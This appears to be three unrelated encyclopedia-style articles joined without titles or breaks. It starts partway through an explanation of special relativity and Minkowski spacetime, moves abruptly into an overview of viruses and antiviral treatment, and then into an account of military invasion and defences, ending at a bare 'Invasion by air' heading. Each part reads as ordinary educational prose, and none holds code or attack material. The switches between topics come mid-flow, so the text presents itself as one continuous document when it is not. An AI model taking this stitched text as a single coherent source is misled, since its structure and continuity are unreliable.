          Note that rotations are fundamentally related to the concept of length. In fact, one may define length or distance to be that which stays the same (is invariant) under rotations, or define rotations to be that which keep the length invariant. Given any one, it is possible to find the other. If we know the distance formula, we can find out the formula for transforming coordinates in a rotation. If, on the other hand, we have the formula for rotations then we can find out the distance formula.


          


          The Minkowski formulation: introduction of spacetime
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          After Einstein derived special relativity formally from the (at first sight counter intuitive) assumption that the speed of light is the same to all observers, Minkowski built on mathematical approaches used in non-euclidean geometry and on the mathematical work of Lorentz and Poincar, and showed in 1908 that Einstein's new theory could also be explained by replacing the concept of a separate space and time with a four-dimensional continuum called spacetime. This was a groundbreaking concept, and Roger Penrose has said that relativity was not truly complete until Minkowski reformulated Einstein's work.


          The concept of a four-dimensional space is hard to visualise. It may help at the beginning to think simply in terms of coordinates. In three-dimensional space, one needs three real numbers to refer to a point. In the Minkowski space, one needs four real numbers (three space coordinates and one time coordinate) to refer to a point at a particular instant of time. This point at a particular instant of time, specified by the four coordinates, is called an event. The distance between two different events is called the spacetime interval.


          A path through the four-dimensional spacetime, usually called Minkowski space, is called a world line. Since it specifies both position and time, a particle having a known world line has a completely determined trajectory and velocity. This is just like graphing the displacement of a particle moving in a straight line against the time elapsed. The curve contains the complete motional information of the particle.
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          In the same way as the measurement of distance in 3D space needed all three coordinates we must include time as well as the three space coordinates when calculating the distance in Minkowski space (henceforth called M). In a sense, the spacetime interval provides a combined estimate of how far two events occur in space as well as the time that elapses between their occurrence.


          But there is a problem. Time is related to the space coordinates, but they are not equivalent. Pythagoras's theorem treats all coordinates on an equal footing (see Euclidean space for more details). We can exchange two space coordinates without changing the length, but we can not simply exchange a space coordinate with time, they are fundamentally different. It is an entirely different thing for two events to be separated in space and to be separated in time. Minkowski proposed that the formula for distance needed a change. He found that the correct formula was actually quite simple, differing only by a sign from Pythagoras's theorem:


          
            	[image:  s^2 = x^2 + y^2 + z^2 - (ct)^2 \,]

          


          where c is a constant and t is the time coordinate. Multiplication by c, which has the dimension ms  1, converts the time to units of length and this constant has the same value as the speed of light. So the spacetime interval between two distinct events is given by


          
            	[image:  s^2 = (x_2 - x_1)^2 + (y_2 - y_1)^2 + (z_2 - z_1)^2 - c^2 (t_2 - t_1)^2. \,]

          


          There are two major points to be noted. Firstly, time is being measured in the same units as length by multiplying it by a constant conversion factor. Secondly, and more importantly, the time-coordinate has a different sign than the space coordinates. This means that in the four-dimensional spacetime, one coordinate is different from the others and influences the distance differently. This new 'distance' may be zero or even negative. This new distance formula, called the metric of the spacetime, is at the heart of relativity. This distance formula is called the metric tensor of M. This minus sign means that a lot of our intuition about distances can not be directly carried over into spacetime intervals. For example, the spacetime interval between two events separated both in time and space may be zero (see below). From now on, the terms distance formula and metric tensor will be used interchangeably, as will be the terms Minkowski metric and spacetime interval.


          In Minkowski spacetime the spacetime interval is the invariant length, the ordinary 3D length is not required to be invariant. The spacetime interval must stay the same under rotations, but ordinary lengths can change. Just like before, we were missing a dimension. Note that everything this far are merely definitions. We define a four-dimensional mathematical construct which has a special formula for distance, where distance means that which stays the same under rotations (alternatively, one may define a rotation to be that which keeps the distance unchanged).


          Now comes the physical part. Rotations in Minkowski space have a different interpretation than ordinary rotations. These rotations correspond to transformations of reference frames. Passing from one reference frame to another corresponds to rotating the Minkowski space. An intuitive justification for this is given below, but mathematically this is a dynamical postulate just like assuming that physical laws must stay the same under Galilean transformations (which seems so intuitive that we don't usually recognise it to be a postulate).


          Since by definition rotations must keep the distance same, passing to a different reference frame must keep the spacetime interval between two events unchanged. This requirement can be used to derive an explicit mathematical form for the transformation that must be applied to the laws of physics (compare with the application of Galilean transformations to classical laws) when shifting reference frames. These transformations are called the Lorentz transformations. Just like the Galilean transformations are the mathematical statement of the principle of Galilean relativity in classical mechanics, the Lorentz transformations are the mathematical form of Einstein's principle of relativity. Laws of physics must stay the same under Lorentz transformations. Maxwell's equations and Dirac's equation satisfy this property, and hence they are relativistically correct laws (but classically incorrect, since they don't transform correctly under Galilean transformations).


          With the statement of the Minkowski metric, the common name for the distance formula given above, the theoretical foundation of special relativity is complete. The entire basis for special relativity can be summed up by the geometric statement "changes of reference frame correspond to rotations in the 4D Minkowski spacetime, which is defined to have the distance formula given above". The unique dynamical predictions of SR stem from this geometrical property of spacetime. Special relativity may be said to be the physics of Minkowski spacetime. In this case of spacetime, there are six independent rotations to be considered. Three of them are the standard rotations on a plane in two directions of space. The other three are rotations in a plane of both space and time: These rotations correspond to a change of velocity, and are described by the traditional Lorentz transformations.


          As has been mentioned before, one can replace distance formulas with rotation formulas. Instead of starting with the invariance of the Minkowski metric as the fundamental property of spacetime, one may state (as was done in classical physics with Galilean relativity) the mathematical form of the Lorentz transformations and require that physical laws be invariant under these transformations. This makes no reference to the geometry of spacetime, but will produce the same result. This was in fact the traditional approach to SR, used originally by Einstein himself. However, this approach is often considered to offer less insight and be more cumbersome than the more natural Minkowski formalism.


          Einstein's postulate: the constancy of the speed of light


          Einstein's postulate that the speed of light is a constant comes out as a natural consequence of the Minkowski formulation.


          Proposition 1:


          
            	When an object is travelling at c in a certain reference frame, the spacetime interval is zero.

          


          Proof:


          
            	
              The spacetime interval between the origin-event (0,0,0,0) and an event (x, y, z, t) is

              
                	[image:  s^2 = x^2 + y^2 + z^2 - (ct)^2 .\,]

              

            


            	
              The distance travelled by an object moving at velocity v for t seconds is:

              
                	[image:  \sqrt{x^2 + y^2 + z^2} = vt \,]

              

            


            	
              giving

              
                	[image:  s^2 = (vt)^2 - (ct)^2 .\,]

              

            


            	
              Since the velocity v equals c we have

              
                	[image:  s^2 = (ct)^2 - (ct)^2 .\,]

              

            


            	
              Hence the spacetime interval between the events of departure and arrival is given by

              
                	[image:  s^2 = 0 \,]

              

            

          


          Proposition 2:


          
            	An object travelling at c in one reference frame is travelling at c in all reference frames.

          


          Proof:


          
            	
              Let the object move with velocity v when observed from a different reference frame. A change in reference frame corresponds to a rotation in M. Since the spacetime interval must be conserved under rotation, the spacetime interval must be the same in all reference frames. In proposition 1 we showed it to be zero in one reference frame, hence it must be zero in all other reference frames. We get that

              
                	[image:  (vt)^2 - (ct)^2 = 0 \,]

              

            


            	
              which implies

              
                	[image:  |v| = c .\,]

              

            

          


          The paths of light rays have a zero spacetime interval, and hence all observers will obtain the same value for the speed of light. Therefore, when assuming that the universe has four dimensions that are related by Minkowski's formula, the speed of light appears as a constant, and does not need to be assumed (postulated) to be constant as in Einstein's original approach to special relativity.


          


          Clock delays and rod contractions: more on Lorentz transformations


          Another consequence of the invariance of the spacetime interval is that clocks will appear to go slower on objects that are moving relative to you. This is very similar to how the 2D projection of a line rotated into the third-dimension appears to get shorter. Length is not conserved simply because we are ignoring one of the dimensions. Let us return to the example of John and Bill.


          John observes the length of Bill's spacetime interval as:


          
            	[image: s^2 = (vt)^2 - (ct)^2 \,]

          


          whereas Bill doesn't think he has traveled in space, so writes:


          
            	[image: s^2 = (0)^2 - (cT)^2 \,]

          


          The spacetime interval, s2, is invariant. It has the same value for all observers, no matter who measures it or how they are moving in a straight line. This means that Bill's spacetime interval equals John's observation of Bill's spacetime interval so:


          
            	[image: (0)^2 - (cT)^2 = (vt)^2 - (ct)^2 \,]

          


          and


          
            	[image: -(cT)^2 = (vt)^2 - (ct)^2 \,]

          


          hence


          
            	[image: t = \frac{T}{\sqrt{1 - \frac{v^2}{c^2}}} \,].

          


          So, if John sees a clock that is at rest in Bill's frame record one second, John will find that his own clock measures between these same ticks an interval t, called coordinate time, which is greater than one second. It is said that clocks in motion slow down, relative to those on observers at rest. This is known as "relativistic time dilation of a moving clock". The time that is measured in the rest frame of the clock (in Bill's frame) is called the proper time of the clock.


          In special relativity, therefore, changes in reference frame affect time also. Time is no longer absolute. There is no universally correct clock, time runs at different rates for different observers.


          Similarly it can be shown that John will also observe measuring rods at rest on Bill's planet to be shorter in the direction of motion than his own measuring rods. This is a prediction known as "relativistic length contraction of a moving rod". If the length of a rod at rest on Bill's planet is X, then we call this quantity the proper length of the rod. The length x of that same rod as measured on John's planet, is called coordinate length, and given by


          
            	[image: x = X \sqrt{1 - \frac{v^2}{c^2}} \,].

          


          
            [image: How Bill's coordinates appear to John at the instant they pass each other]

            
              How Bill's coordinates appear to John at the instant they pass each other
            

          


          These two equations can be combined to obtain the general form of the Lorentz transformation in one spatial dimension:


          
            	
              
                	[image: \begin{cases} T &= \gamma \left( t - \frac{v x}{c^{2}} \right) \\ X &= \gamma \left( x - v t \right) \end{cases}]

              

            

          


          or equivalently:


          
            	
              
                	[image: \begin{cases} t &= \gamma \left( T + \frac{v X}{c^{2}} \right) \\ x &= \gamma \left( X + v T \right) \end{cases}]

              

            

          


          where the Lorentz factor is given by [image: \gamma = { 1 \over \sqrt{1 - v^2/c^2} } ]


          The above formulas for clock delays and length contractions are special cases of the general transformation.


          Alternatively, these equations for time dilation and length contraction (here obtained from the invariance of the spacetime interval), can be obtained directly from the Lorentz transformation by setting X = 0 for time dilation, meaning that the clock is at rest in Bill's frame, or by setting t = 0 for length contraction, meaning that John must measure the distances to the end points of the moving rod at the same time.


          A consequence of the Lorentz transformations is the modified velocity-addition formula:


          
            	[image:  s = {v+u \over 1+(v/c)(u/c)}. ]

          


          


          Simultaneity and clock desynchronisation


          The last consequence of Minkowski's spacetime is that clocks will appear to be out of phase with each other along the length of a moving object. This means that if one observer sets up a line of clocks that are all synchronised so they all read the same time, then another observer who is moving along the line at high speed will see the clocks all reading different times. This means that observers who are moving relative to each other see different events as simultaneous. This effect is known as "Relativistic Phase" or the "Relativity of Simultaneity". Relativistic phase is often overlooked by students of special relativity, but if it is understood, then phenomena such as the twin paradox are easier to understand.


          
            [image: The "plane of simultaneity" or "surface of simultaneity" contains all those events that happen at the same instant for a given observer. Events that are simultaneous for one observer are not simultaneous for another observer in relative motion.]
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          Observers have a set of simultaneous events around them that they regard as composing the present instant. The relativity of simultaneity results in observers who are moving relative to each other having different sets of events in their present instant.


          The net effect of the four-dimensional universe is that observers who are in motion relative to you seem to have time coordinates that lean over in the direction of motion, and consider things to be simultaneous that are not simultaneous for you. Spatial lengths in the direction of travel are shortened, because they tip upwards and downwards, relative to the time axis in the direction of travel, akin to a rotation out of three-dimensional space.


          Great care is needed when interpreting spacetime diagrams. Diagrams present data in two dimensions, and cannot show faithfully how, for instance, a zero length spacetime interval appears.


          


          


          General relativity: a peek forward


          Unlike Newton's laws of motion, relativity is not based upon dynamical postulates. It does not assume anything about motion or forces. Rather, it deals with the fundamental nature of spacetime. It is concerned with describing the geometry of the backdrop on which all dynamical phenomena take place. In a sense therefore, it is a meta-theory, a theory that lays out a structure that all other theories must follow. In truth, Special relativity is only a special case. It assumes that spacetime is flat. That is, it assumes that the structure of Minkowski space and the Minkowski metric tensor is constant throughout. In General relativity, Einstein showed that this is not true. The structure of spacetime is modified by the presence of matter. Specifically, the distance formula given above is no longer generally valid except in space free from mass. However, just like a curved surface can be considered flat in the infinitesimal limit of calculus, a curved spacetime can be considered flat at a small scale. This means that the Minkowski metric written in the differential form is generally valid.


          
            	[image: ds^2 = dx^2 + dy^2 + dz^2 - c^2 dt^2 \,]

          


          One says that the Minkowski metric is valid locally, but it fails to give a measure of distance over extended distances. It is not valid globally. In fact, in general relativity the global metric itself becomes dependent on the mass distribution and varies through space. The central problem of general relativity is to solve the famous Einstein field equations for a given mass distribution and find the distance formula that applies in that particular case. Minkowski's spacetime formulation was the conceptual stepping stone to general relativity. His fundamentally new outlook allowed not only the development of general relativity, but also to some extent quantum field theories.


          


          Mass-energy equivalence: sunlight and atom bombs


          Einstein showed that mass is simply another form of energy. The energy equivalent of rest mass m is m*c^2. This equivalence implies that mass should be interconvertible with other forms of energy. This is the basic principle behind atom bombs and production of energy in nuclear reactors and stars (like the Sun).


          


          Applications


          There is a common perception that relativistic physics is not needed in everyday life. This is not true. Many technologies are critically dependent on relativistic physics:


          
            	Cathode ray tubes,


            	Particle accelerators,


            	Global Positioning System (GPS) - although this really requires the full theory of general relativity

          


          


          The postulates of Special Relativity


          Einstein developed Special Relativity on the basis of two postulates:


          
            	First postulate - Special principle of relativity - The laws of physics are the same in all inertial frames of reference. In other words, there are no privileged inertial frames of reference.


            	Second postulate - Invariance of c - The speed of light in a vacuum is independent of the motion of the light source.

          


          Special Relativity can be derived from these postulates, as was done by Einstein in 1905. Einstein's postulates are still applicable in the modern theory but the origin of the postulates is more explicit. It was shown above how the existence of a universally constant velocity (the speed of light) is a consequence of modeling the universe as a particular four dimensional space having certain specific properties. The principle of relativity is a result of Minkowski structure being preserved under Lorentz transformations, which are postulated to be the physical transformations of inertial reference frames.
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          Viruses are parasites that reproduce inside the cells of the organisms they infect. When a virus infects a cell, it reprograms that cell's normal biochemical processes thereby forcing the cell to make thousands of identical copies of the infecting virus by using the cell's protein, DNA and RNA building blocks. This process usually kills the infected cell.


          Viruses are grouped depending on the type of organism they infect. Therefore viruses are either animal, plant or bacterial types. They are so small that it would take 30,000 to 750,000 of them, side by side, to cover 1 centimetre. The origins of viruses is unclear; some may have evolved from plasmids or transposons, which are stretches of DNA that can exist separately from chromosomes. Other viruses may have evolved from bacteria.


          A virus consists of two parts: the genetic material, a nucleic acid that contains all the information necessary for the production of new virus particles, and a protein coat that protects this genetic material. The coat is called a capsid and can either be a simple container, or a much more complex structure, containing enzymes. Capsid shapes vary from simple helical and icosahedral (polyhedral or near-spherical) forms, to more complex structures with tails or an envelope.


          Plant, animal and bacterial cells all contain two types of nucleic acid. The genetic information needed to make new proteins is always encoded in DNA: this code is translated into a specific type of RNA called messenger RNA that carries the information to the parts of the cell that make proteins. In contrast, each type of virus only contains one type of nucleic acid, either DNA or RNA.


          Within cells there are structures called organelles, each organelle has one or more important functions. These organelles along with cell enzymes are needed for metabolism and life. Viruses do not have organelles and must use those within a cell to reproduce. Outside of a host cell, viruses are completely inactive and are considered neither living nor dead. Indeed, it is controversial whether viruses are actually living organisms. Some consider them non-living since they do not meet all the criteria of the definition of life. However, viruses do have genes and evolve over time.


          Viral infections in human and animals usually cause an immune response and disease. Often, a virus is completely eliminated by the immune system. Antibiotics have no effect on viruses, but antiviral drugs have been developed to treat life-threatening infections. Vaccines that produce lifelong immunity can prevent virus infections.


          Viruses spread in many different ways. Viruses of plants are often spread from plant to plant by insects acting as vectors. Specific virus infections of animals and humans are also spread by biting insects. But not all viruses can be spread in this way. Each species of virus relies on a specific method. Some, such as influenza are carried by the air and are spread by coughing and sneezing. Others, such as norovirus and rotavirus contaminate food or water. HIV is one of several viruses that are transmitted during sex.


          


          Origins of viruses


          The origin of modern viruses is not entirely clear but molecular techniques have been the most useful means of hypothesising how they arose, and two main hypotheses currently exist.


          Small viruses with only a few genes may be runaway stretches of nucleic acid originating from the genome of a living organism. Their genetic material could have been derived from transferable genetic elements such as plasmids or transposons, that are prone to moving within, leaving, and entering genomes. In this way new viruses are constantly emerging and therefore, not all viruses have viral "ancestors".


          Viruses with larger genomes, such as poxviruses, may have once been small cells that parasitised larger host cells. Over time, genes not required by their parasitic lifestyle would have been lost in a streamlining process known as retrograde-evolution or reverse-evolution. The bacteria Rickettsia and Chlamydia are living cells that, like viruses, can only reproduce inside host cells. They lend credence to the streamlining hypothesis, as their parasitic lifestyle is likely to have caused the loss of genes that enabled them to survive outside a host cell.


          


          Discovery of viruses
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          In the late 19th century Charles Chamberland made a filter with holes small enough to remove bacteria. Dimitri Ivanovski used this filter to study tobacco mosaic virus. He published the results of his experiments which proved that crushed leaf extracts of infected tobacco plants were still infectious after filtration. At the same time, several other scientists proved that, although these agents were different from bacteria, they could cause disease, and that viruses were about a hundred times smaller than bacteria. The term virus was first used by the Dutch microbiologist Martinus Beijerinck who used the words "contagium vivum fluidum" to mean soluble living germ. In the early 20th century, Frederick Twort discovered viruses that infect bacteria. Felix d'Herelle described viruses that caused areas of death on thin cell cultures on agar. Counting these dead areas allowed him to count the viruses in the suspension.


          With the invention of electron microscopy came the first images of viruses. In 1935 Wendell Stanley examined tobacco mosaic virus and found it to be mostly made from protein. A short time later the virus was separated into protein and nucleic acid parts. A problem for early scientists was their inability to grow viruses without using live animals. The breakthrough came in 1931, when Ernest William Goodpasture grew influenza and several other viruses in fertile chicken eggs. However, some viruses would not grow in chicken eggs. The problem was solved in 1949 when John Franklin Enders, Thomas H. Weller and Frederick Chapman Robbins grew polio virus in cultures of living animal cells.


          


          Structure of viruses
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          A virus particle, known as a virion consists of nucleic acid surrounded by a protective coat of protein called a capsid. Viral proteins form the capsid and these proteins form recognisable units called capsomers. The arrangement of the capsomers can either be icosahedral (20sided) or helical. Most viruses made from DNA are icosahedral and RNA viruses are either helical or icosahedral.The proteins that attach to the nucleic acid are known as nucleoproteins, and together form a nucleocapsid. Some viruses are surrounded by a bubble of lipid called an envelope. Most DNA viruses do not have an envelope but most RNA viruses are enveloped.


          


          Size


          Viruses are some of the smallest infectious agents and the majority of them can only be seen by electron microscopy. Most viruses are around 100 nm in diameter but their sizes range from 20 to 300nm. They are so small that it would take 30,000 to 750,000 of them, side by side, to cover 1 centimetre.


          


          Virus genes


          There are two kinds of genetic material: deoxyribonucleic acid (DNA) and ribonucleic acid (RNA). The biological information contained in an organism is encoded in its DNA or RNA sequence. Most organisms use DNA, but many viruses (e.g., retroviruses) have RNA as their genetic material. The DNA and RNA of viruses consists of either a single strand or a double helix.


          Viruses, although simple compared to cell-based organisms, are very efficient at reproducing. They have only a few genes compared to humans who have 20,00025,000. For example, Influenza virus has only 8 genes and rotavirus has 11. These genes encode structural proteins that form the virus particle, or non-structural proteins, that are only found in cells infected by the virus.


          Most viruses produce a protein that is an enzyme called a polymerase. Polymerase is used to make new copies of the viral DNA or RNA. Often this protein is also a structural protein that forms part of the virus particle. These polymerase enzymes are often much more efficient than their counterparts produced by the host cell.


          In some species of virus the DNA or RNA is not a continuous molecule but is split into several separate strands. These are called segmented genomes. The Influenza virus genome is made up from 8 separate segments of RNA. When two different strains of influenza virus infect the same cell, these segments can mix and produce new strains of the virus, this is called reassortment.


          


          Virus protein synthesis
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          Cells make new protein molecules from amino acid building blocks based on information encoded in RNA. Protein synthesis generally consists of two major steps: transcription and translation.


          Transcription is the process where genetic information in DNA is used to produce messenger RNA which migrates through the cell. The mRNA molecules bind to protein-RNA complexes called ribosomes where they are used to make proteins. This is called translation. The protein amino acid sequence is based on the mRNA base sequence.


          Virus particles are made from several proteins that they cannot produce by themselves, therefore they rely on the host cell to make them. Viruses do this in many different ways, however, eventually all of them produce mRNA. In some RNA viruses the viral genome RNA functions directly as mRNA without further modification. For this reason, these viruses are called positive-sense RNA viruses.


          In other RNA viruses, the genomic RNA is a complementary copy of mRNA and these viruses rely on the cell's or their own enzyme to make mRNA. These are called negative-sense RNA viruses. In viruses made of DNA the method of mRNA production is similar to a cell. Retroviruses are very different, they are based on RNA, but inside the host cell a DNA copy of their RNA is made. This DNA is then incorporated into the host's and copied into mRNA by the cell's normal pathways.


          


          Virus life-cycle
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          Viruses can only multiply within a living cell. When a virus infects a cell, it makes the cell form new viruses by synthesising new viral nucleic acid and proteins, thereby forming complete new virus particles.


          There are six basic, overlapping stages in the life cycle of viruses in living cells:


          

          Attachment is a binding of the virus to specific molecules on the surface of the cell. This specificity restricts the virus to a very limited type of cell. For example, the human immunodeficiency virus (HIV) infects only human T cells, because its surface protein, gp120, can only react with CD4 and other molecules on the T cell's surface. This mechanism has evolved to favour those viruses that only infect cells that they are capable of replicating in.


          Penetration: following attachment, viruses enter the host cell by endocytosis or by fusion with the cell.


          Uncoating happens inside the cell when the viral capsid is removed and destroyed by viral enzymes or host enzymes, thereby exposing the viral nucleic acid.


          Replication of virus particles is the stage where a cell uses foreign messenger RNA in its protein synthesis systems to produce viral proteins. The RNA or DNA synthesis abilities of the cell produce the virus' nucleic acids by viral polymerase.


          Assembly takes place in the cell when the newly created viral proteins and nucleic acid combine to form new virus particles.


          Release occurs when the new viruses escape from the cell. Most viruses achieve this by causing the cells to burst, a process called lysis. Other viruses such as HIV are released more gently by a process called budding.


          


          Viruses and disease
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          Human diseases caused by viruses include the common cold, the flu, chickenpox and cold sores. Serious diseases such as Ebola, AIDS and influenza are caused by viruses. The ability of viruses to cause disease is called virulence and the mechanism is called pathogenesis. Viruses cause different diseases depending on the types of cell that they infect. Some viruses can cause life-long or chronic infections where the viruses continue to replicate in the body despite the hosts' defense mechanisms. This is common in Hepatitis B virus and Hepatitis C Virus infections. People chronically infected with Hepatitis B virus are known as carriers who serve as reservoirs of infectious virus. In some populations, if there is a high proportion of carriers, a disease is said to be endemic.


          There are many ways in which viruses spread from host to host but each species of virus uses only one or two. Many viruses that infect plants are carried by insects called vectors. Common vectors include Bacteria, Fungi, Nematodes, arthropods and arachnids. Some viruses that infect animals and humans are also spread by biting insects, but direct animal-to-animal, person-to-person or animal-to-person transmission is more common. Some virus infections are spread by contaminated food and water, ( Norovirus and Rotavirus), others are airborne, (Influenza virus). Viruses such as HIV, Hepatitis B and Hepatitis C are often transmitted by unprotected sex or contaminated hypodermic needles. It is important to know how each different kind of virus is spread in order to prevent infections and epidemics.


          


          Prevention and treatment


          


          Vaccines


          Vaccination is a way of preventing infections by viruses. Vaccines were used to prevent viral infections long before the discovery of the actual viruses. Their use has resulted in a dramatic decline in morbidity (illness) and mortality (death) associated with viral infections such as polio, measles, mumps and rubella. Smallpox infections have been eradicated. Currently vaccines are available to prevent over thirteen viral infections of humans and more are used to prevent viral infections of animals. Vaccines may consist of live or killed viruses. Live vaccines contain weakened forms of the virus that are no longer virulent. These are referred to as attenuated vaccines. Live vaccines can be dangerous when given to immunocompromised people i.e. people with weak immunity, because in these people, the weakened virus can cause the original disease. Biotechnology and genetic engineering techniques are used to produce subunit vaccines. These vaccines use only the capsid proteins of the virus. Hepatitis B vaccine is an example of this type of vaccine. Subunit vaccines are safe for immunocompromised patients because they cannot cause the disease.


          


          Antiviral drugs
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          Over the past twenty years the development of antiviral drugs has increased rapidly. This has been driven by the AIDS epidemic. Antiviral drugs are often nucleoside analogues, (fake DNA building blocks), which are incorporated into the viral DNA during its replication. DNA, and thus virus, replication is then halted because these analogues lack the hydroxyl groups which along with phosphorus atoms, link together to form the strong "backbone" of the DNA molecule. This is called DNA chain termination. Examples of nucleoside analogues are aciclovir for Herpes virus infections and lamivudine for HIV and Hepatitis B virus infections. Aciclovir, is one of the oldest and most frequently prescribed antiviral drugs. Other antiviral drugs target different stages of the viral life cycle. HIV is dependent on a proteolytic enzyme called the HIV-1 protease for it to become fully infectious. There is a class of drugs called protease inhibitors which have been designed to inactivate the enzyme.


          Hepatitis C is caused by an RNA virus. In 80% of people infected, the disease is chronic and without treatment they remain infectious for the rest of their lives. However, there is now an effective treatment using the nucleoside analogue drug ribavirin combined with interferon The treatment of chronic carriers of the Hepatitis B virus by using a similar strategy using lamivudine is being developed.
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          An invasion is a military action consisting of armed forces of one geopolitical entity entering territory controlled by another such entity, generally with the objective of either conquering, liberating or re-establishing control or authority over a territory, altering the established government or gaining concessions from said government, or a combination thereof. An invasion can be the cause of a war, it can be used as a part of a larger strategy to end a war, or it can constitute an entire war in itself.


          The term usually denotes a strategic endeavor of substantial magnitude; because the goals of an invasion are usually large-scale and long-term, a sizeable force is needed to hold territory, and protect the interests of the invading entity. Smaller-scale, tactical cross- border actions, such as skirmishes, sorties, raids, infiltrations or guerrilla warfare, are not generally considered invasions.


          Military operations that occur within the territory of a single geopolitical entity can sometimes be termed an invasion if armed forces enter into a well defined part of that territory that, at the time of the operation, was completely under the control of armed forces of the other faction in a civil war or insurrection situation. For example, during both the American Revolutionary War and the American Civil War many of the military operations conducted during these wars are called invasions for this reason even though they did not involve "foreign" armies entering from "foreign" nations strictly speaking.


          It should be noted that the term invasion does not, in and of itself, imply either a justified or unjustified course of action. For example, during World War II, German military operations conducted against Poland in 1939 are often called the Invasion of Poland while military operations conducted against Nazi controlled France in 1944 is called the Invasion of Normandy. Both military operations are properly called invasions because they involved an outside force entering territory not under its authority or control at the time. The morality or immorality of the military operation itself is not a factor in determining whether it is termed as an invasion.


          


          History


          Archaeological evidence indicates that invasions have been frequent occurrences since prehistory. In antiquity, before radio communications and fast transportation, the only way to ensure adequate reinforcements was to move armies as one massive force. This, by its very nature, led to the strategy of invasion. With invasion came cultural exchanges in government, religion, philosophy, and technology that shaped the development of much of the ancient world.


          


          Defenses
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          States with potentially hostile neighbors typically adopt defensive measures to delay or forestall an invasion. In addition to utilizing geographical barriers such as rivers, marshes, or rugged terrain, these measures have historically included fortifications. Such a defense can be intended to actively prevent invading forces from entering the country by means of an extended and well-defended barrier; Hadrian's Wall, the Great Wall of China and the Danewerk are famous examples. Such barriers have also included trench lines and, in more modern times, minefields, cameras, and motion-sensitive sensors. However, these barriers can require a large military force to provide the defense, as well as maintain the equipment and positions, which can impose a great economic burden on the country. Some of those same techniques can also be turned against defenders, used to keep them from escape or resupply. During Operation Starvation, Allied forces used airdropped mines to severely disrupt Japanese logistical operations within their own borders.
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          Alternately, the fortifications can be built up at a series of sites, such as castles or forts placed near a border. These structures are designed to delay an invasion long enough for the defending nation to mobilize an army of size sufficient for defense or, in some cases, counter-invasionsuch as, for example, the Maginot Line. Forts can be positioned so that the garrisons can interdict the supply lines of the invaders. The theory behind these spaced forts is that the invader cannot afford to bypass these defenses, and so must lay siege to the structures.
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          In modern times, the notion of constructing large-scale static defenses to combat land-based threats has largely become obsolete. The use of precision air campaigns and large-scale mechanization have made lighter, more mobile defenses desirable to military planners. The obsolescence of large fortifications was displayed by the failure of the Maginot Line in the beginning of World War Two. Nations defending against modern invasions normally use large population centers such as cities or towns as defensive points. The invader must capture these points to destroy the defender's ability to wage war. The defender uses mobile armored and infantry divisions to protect these points, but the defenders are still very mobile and can normally retreat. A prominent example of the use of cities as fortifications can be seen in the Iraqi Army's stands in the 2003 invasion of Iraq at Baghdad, Tikrit and Basra in the major combat in the Second Gulf War. A defender can also use these mobile assets to precipitate a counteroffensive like the Soviet Red Army at the Battle of Kursk or the Northern Alliance in Afghanistan.


          However, static emplacements remain useful in both defense against naval attacks and defense against air attacks. Naval mines are still an inexpensive but effective way to defend ports and choke off supply lines. Large static air defense systems that combine antiaircraft guns with missile launchers are still the best way to defend against air attacks. Such systems were used effectively by the North Vietnamese around Hanoi. Also, the United States has invested considerable time and money into the construction of a National Missile Defense system, a static defense grid intended to intercept nuclear intercontinental ballistic missiles.


          Island nations, such as the United Kingdom or Japan, and continental states with extensive coasts, such as the United States, have utilized a significant naval presence to forestall an invasion of their country, rather than fortifying their border areas. A successful naval defense, however, usually requires a preponderance of naval power and the ability to sustain and service that defense force.


          In particularly large nations, the defending force may also retreat in order to facilitate a counterattack by drawing the invaders deeper into hostile territory. One effect of this tactic is that the invading force becomes too spread out, making supply difficult and making the lines more susceptible to attack. This tactic, although costly, helped the Soviets stop the German advance at Stalingrad. It can also cause the invading force to extend too far, allowing a pincer movement to cut them off from reinforcements. This was the cause of the British defeat at the Battle of Cowpens during the American Revolutionary War. Finally, sending too many reinforcements can leave too few defenders in the attackers' territory, allowing a counter-invasion from other areas, as happened in the Second Punic War.


          


          Methods


          There are many different methods by which an invasion can take place, each method having arguments both in their favour and against. These include invasion by land, sea, or air, or any combination of these methods.


          


          Invasion by land


          Invasion over land is the straightforward entry of armed forces into an area using existing land connections, usually crossing borders or otherwise defined zones, such as a demilitarized zone, overwhelming defensive emplacements and structures. Although this tactic often results in a quick victory, troop movements are relatively slow and subject to disruption by terrain and weather. Furthermore, it is hard to conceal plans for this method of invasion, as most geopolitical entities take defensive positions in areas that are most vulnerable to the methods mentioned above.


          In modern warfare, invasion by land often takes place after, or sometimes during, attacks on the target by other means. Air strikes and cruise missiles launched from ships at sea are a common method of "softening" the target. Other, more subtle, preparations may involve secretly garnering popular support, assassinating potentially threatening political or military figures, and closing off supply lines where they cross into neighboring countries. In some cases, those other means of attack eliminate the need for ground assault; the 1945 atomic-bombing of Hiroshima and Nagasaki ultimately made it unnecessary for the Allies to invade the Japanese home islands with infantry troops. In cases such as this, while some ground troops are still needed to occupy the conquered territory, they are allowed to enter under the terms of a treaty and as such are no longer invaders. As unmanned, long-range combat evolves, the instances of basic overland invasion become fewer; often the conventional fighting is effectively over before the infantry arrives in the role of peacekeepers (see " Applications in fourth generation warfare" in this article).


          


          Invasion by sea
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          Invasion by sea is the use of a body of water to facilitate the entry of armed forces into an area, often a landmass adjoining the body of water or an island. This is generally used either in conjunction with another method of invasion, and especially before the invention of flight, for cases in which there is no other method to enter the territory in question. Arguments in favour of this method usually consist of the ability to perform a surprise attack from sea, or that naval defenses of the area in question are inadequate to repel such an attack. However, the large amount of specialized equipment, such as amphibious vehicles and the difficulty of establishing defensesusually with a resulting high casualty countin exchange for a relatively small gain, are often used as arguments against such an invasion method. Underwater hazards and a lack of good cover are very common problems during invasions from the sea. At the Battle of Tarawa, Marine landing craft became hung up on a coral reef and were shelled from the beach. Other landers were sunk before they could reach the shore, and the tanks they were carrying were stranded in the water. Most of the few survivors of the first wave ended up pinned down on the beach. The island was conquered but at a heavy cost, and the loss of life sparked mass protests from civilians in the United States.


          


          Invasion by air
